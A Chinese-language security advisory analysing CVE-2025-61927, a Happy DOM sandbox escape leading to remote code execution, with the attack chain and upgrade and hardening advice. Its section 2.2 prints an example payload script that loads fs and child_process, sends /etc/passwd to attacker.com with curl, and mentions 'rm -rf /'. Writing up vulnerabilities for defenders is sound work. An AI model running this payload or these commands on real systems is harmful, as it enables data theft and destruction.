关于 CVE-2025-61927：Happy DOM 严重远程代码执行漏洞技术分析与应对指南

1. 漏洞概述

• 漏洞编号：CVE-2025-61927
• 涉及组件：Happy DOM，一个流行的用于服务器端（Node.js）的 DOM 仿真库。
• 漏洞等级：严重（Critical），CVSS 评分为 9.4（满分10分）。
• 影响范围：使用 Happy DOM 处理不受信任或用户提供的 HTML 内容的应用程序。特别是服务器端渲染（SSR）平台、测试框架以及其他使用 Happy DOM 模拟浏览器环境的 Node.js 项目。
• 全球影响：Happy DOM 拥有超过 270 万的周下载量，影响面广泛。
• 漏洞本质：在特定配置下，Happy DOM 未能安全地隔离 Node.js 运行时环境，导致攻击者可以突破沙箱，执行任意 JavaScript 代码，并进一步利用 Node.js 能力实现远程代码执行（RCE）。

2. 漏洞技术细节

2.1 根本原因

漏洞的核心在于 Happy DOM 的 JavaScript 评估（Evaluation）机制。当 Happy DOM 被配置为允许执行脚本（例如，用于模拟客户端 JavaScript 行为）时，它创建的模拟环境（或沙箱）存在缺陷。攻击者可以构造特殊的 HTML/JavaScript 载荷，通过 Happy DOM 的接口获取到全局的 process 对象。

2.2 攻击链（PoC 原理）

公开的概念验证（PoC）代码清晰地展示了攻击路径：

1. 突破沙箱：利用漏洞，从 Happy DOM 模拟的窗口（Window）环境中访问到 Node.js 的全局 process 对象。
2. 加载核心模块：通过 process.mainModule.require 或类似方法，动态加载 Node.js 的内置模块，例如文件系统模块 fs。
3. 实现任意文件访问：使用 fs 模块的方法（如 readdirSync, readFileSync）列出和读取服务器上的敏感文件。这证实了数据泄露能力。
4. 升级至远程代码执行（RCE）：进一步，攻击者可以利用 child_process 等模块执行服务器上的任意命令，从而完全控制服务器。

简化的攻击载荷示例：

<script>
// 利用漏洞获取Node.js的process对象
const process = window.top.process; // 或通过其他Happy DOM接口获取

// 使用process对象加载fs模块
const fs = process.mainModule.require('fs');

// 列出服务器根目录文件，证明漏洞存在
const files = fs.readdirSync('/');
console.log(files); // 输出到Happy DOM所在服务器的控制台，或通过网络将数据外传

// 更具危害性的操作：执行系统命令
const { execSync } = process.mainModule.require('child_process');
execSync('curl -X POST --data-binary @/etc/passwd http://attacker.com/steal'); // 窃取文件
// 或 execSync('rm -rf /') // 破坏性命令
</script>

3. 潜在危害

成功利用此漏洞可能导致以下严重后果：

• 数据泄露：窃取服务器上的环境变量、配置文件（包含数据库密码、API 密钥等）、源代码和用户数据。
• 横向移动：以受感染的服务器为跳板，攻击内网中的其他系统和服务。
• 任意代码执行：在服务器上以应用程序的权限运行任何命令，安装勒索软件、挖矿木马或后门。
• 持久化访问：篡改系统或应用程序文件，确保攻击者能够长期、隐蔽地访问服务器。

4. 修复方案与缓解措施

Happy DOM 的维护者已经发布了修复版本，并给出了明确的指导。

4.1 立即行动：升级版本

首要且最有效的措施是将 Happy DOM 升级到 v20.0.0 或更高版本。

npm update happy-dom
# 或
yarn upgrade happy-dom

4.2 v20 版本的默认安全改进

新版本做出了重大安全调整：

• 默认禁用 JavaScript 评估：window.eval 和类似功能默认被关闭，从根本上切断了攻击链。
• 新增警告：为在不安全环境中使用 Happy DOM 的用户添加了明确的警告信息。

4.3 如果必须启用 JavaScript 评估

对于某些应用场景（如完整的 SSR），如果必须启用 JavaScript 执行，必须采取额外的加固措施：

1. 使用 Node.js 安全标志：在启动 Node.js 应用程序时，使用 --disallow-code-generation-from-strings 标志。

   node --disallow-code-generation-from-strings your-app.js
   

   这个标志会阻止通过 eval 和 new Function(string) 等方式从字符串动态生成代码，能有效缓解此类漏洞，即使 Happy DOM 的评估功能被开启。

2. 严格的内容安全策略：

   • 绝对原则：如果应用程序处理的内容来自用户或不可信源，应完全禁用 Happy DOM 的 JavaScript 评估功能。永远不要相信用户输入的 HTML/JS。
   • 隔离环境：考虑在独立的、权限受限的容器或虚拟机中运行处理不可信内容的服务，以限制漏洞利用后的影响范围。

5. 检查与验证

1. 检查依赖：运行 npm list happy-dom 或 yarn list happy-dom 确认当前安装的版本。
2. 审查代码：检查项目中所有使用 Happy DOM 的地方，确认其处理的 HTML 内容来源是否可信。对于处理用户输入的场景，确保配置中已显式禁用脚本执行。
3. 测试修复：升级后，应使用已知的 PoC 载荷进行安全测试，验证漏洞是否已被成功修复。

6. 总结

CVE-2025-61927 是一个典型的“沙箱逃逸”导致远程代码执行的严重漏洞。其高 CVSS 评分和广泛的受影响用户基数要求所有相关开发团队必须立即采取行动。核心应对策略是“升级+加固”：立即升级到安全版本，并根据应用程序的实际需求，遵循最小权限原则，严格配置 Happy DOM 的安全选项。

参考来源：CVE-2025-61927 (CVSS 9.4): Critical RCE Flaw Discovered in Happy DOM, Over 2.7 Million Weekly Downloads Impacted - FreeBuf

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